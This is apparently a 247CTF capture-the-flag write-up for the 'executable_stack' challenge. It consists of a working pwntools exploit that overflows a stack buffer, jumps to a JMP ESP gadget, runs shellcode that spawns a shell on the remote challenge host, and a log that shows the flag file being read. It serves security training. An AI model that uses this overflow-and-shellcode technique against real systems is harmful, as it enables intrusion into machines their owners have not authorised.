PUBLISHED ON 08/04/2020
— EDITED ON 11/12/2023
—
247CTF,
INFOSEC
#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template ./executable_stack --host 1a892a34ee15e655.247ctf.com --port 50431from pwn import*# Set up pwntools for the correct architectureexe = context.binary = ELF('./executable_stack')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141# tcp://fd16264e0ec19783.247ctf.com:50484host = args.HOST or'fd16264e0ec19783.247ctf.com'port =int(args.PORT or50484)
deflocal(argv=[], *a, **kw):
'''Execute the target binary locally'''if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
defremote(argv=[], *a, **kw):
'''Connect to the process on the remote host''' io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
defstart(argv=[], *a, **kw):
'''Start the exploit against the target.'''if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript ='''
tbreak main
continue
break *0x8048410
'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: i386-32-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX disabled# PIE: No PIE (0x8048000)# RWX: Has RWX segmentsio = start()
# Find JMP ESP in objdump at 0x80484b3# 80484b3payload =140*'a'# use msf-pattern to obtain locationpayload += p32(0x80484b3) # JMP ESPpayload += asm(shellcraft.sh())
io.recvline()
io.sendline(payload)
io.interactive()
kali@kali:~/Documents/247ctf/pwnable/executablestack$ ./exploit.py
[*]'/home/kali/Documents/247ctf/pwnable/executablestack/executable_stack' Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000) RWX: Has RWX segments
[+] Opening connection to fd16264e0ec19783.247ctf.com on port 50484: Done
[*] Switching to interactive mode
You can try to make your own though:
$ ls
chall
flag_27886b9a498ed936.txt
$ cat flag_27886b9a498ed936.txt
247CTF{xxxx}